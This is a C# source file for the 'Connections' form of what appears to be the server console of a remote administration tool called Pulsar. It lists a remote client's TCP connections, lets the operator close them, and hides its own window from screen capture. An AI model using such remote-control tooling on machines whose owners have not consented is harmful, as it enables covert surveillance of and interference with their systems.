using Pulsar.Common.Messages; using Pulsar.Common.Models; using Pulsar.Server.Forms.DarkMode; using Pulsar.Server.Helper; using Pulsar.Server.Messages; using Pulsar.Server.Networking; using System; using System.Collections.Generic; using System.Windows.Forms; namespace Pulsar.Server.Forms { public partial class FrmConnections : Form { /// /// The client which can be used for the connections manager. /// private readonly Client _connectClient; /// /// The message handler for handling the communication with the client. /// private readonly TcpConnectionsHandler _connectionsHandler; /// /// /// private readonly Dictionary _groups = new Dictionary(); /// /// Holds the opened connections manager form for each client. /// private static readonly Dictionary OpenedForms = new Dictionary(); /// /// Creates a new connections manager form for the client or gets the current open form, if there exists one already. /// /// The client used for the connections manager form. /// /// Returns a new connections manager form for the client if there is none currently open, otherwise creates a new one. /// public static FrmConnections CreateNewOrGetExisting(Client client) { if (OpenedForms.ContainsKey(client)) { return OpenedForms[client]; } FrmConnections f = new FrmConnections(client); f.Disposed += (sender, args) => OpenedForms.Remove(client); OpenedForms.Add(client, f); return f; } /// /// Initializes a new instance of the class using the given client. /// /// The client used for the connections manager form. public FrmConnections(Client client) { _connectClient = client; _connectionsHandler = new TcpConnectionsHandler(client); RegisterMessageHandler(); InitializeComponent(); DarkModeManager.ApplyDarkMode(this); ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle); } /// /// Registers the connections manager message handler for client communication. /// private void RegisterMessageHandler() { _connectClient.ClientState += ClientDisconnected; _connectionsHandler.ProgressChanged += TcpConnectionsChanged; MessageHandler.Register(_connectionsHandler); } /// /// Unregisters the connections manager message handler. /// private void UnregisterMessageHandler() { MessageHandler.Unregister(_connectionsHandler); _connectionsHandler.ProgressChanged -= TcpConnectionsChanged; _connectClient.ClientState -= ClientDisconnected; } /// /// Called whenever a client disconnects. /// /// The client which disconnected. /// True if the client connected, false if disconnected private void ClientDisconnected(Client client, bool connected) { if (!connected) { this.Invoke((MethodInvoker)this.Close); } } /// /// Called whenever a TCP connection changed. /// /// The message handler which raised the event. /// The current TCP connections of the client. private void TcpConnectionsChanged(object sender, TcpConnection[] connections) { lstConnections.Items.Clear(); foreach (var con in connections) { string state = con.State.ToString(); ListViewItem lvi = new ListViewItem(new[] { con.ProcessName, con.LocalAddress, con.LocalPort.ToString(), con.RemoteAddress, con.RemotePort.ToString(), state }); if (!_groups.ContainsKey(state)) { // create new group if not exists already ListViewGroup g = new ListViewGroup(state, state); lstConnections.Groups.Add(g); _groups.Add(state, g); } lvi.Group = lstConnections.Groups[state]; lstConnections.Items.Add(lvi); } } private void FrmConnections_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("Connections", _connectClient); _connectionsHandler.RefreshTcpConnections(); } private void FrmConnections_FormClosing(object sender, FormClosingEventArgs e) { UnregisterMessageHandler(); } private void refreshToolStripMenuItem_Click(object sender, EventArgs e) { _connectionsHandler.RefreshTcpConnections(); } private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e) { bool modified = false; foreach (ListViewItem lvi in lstConnections.SelectedItems) { _connectionsHandler.CloseTcpConnection(lvi.SubItems[1].Text, ushort.Parse(lvi.SubItems[2].Text), lvi.SubItems[3].Text, ushort.Parse(lvi.SubItems[4].Text)); modified = true; } if (modified) { _connectionsHandler.RefreshTcpConnections(); } } private void lstConnections_ColumnClick(object sender, ColumnClickEventArgs e) { lstConnections.LvwColumnSorter.NeedNumberCompare = (e.Column == 2 || e.Column == 4); } } }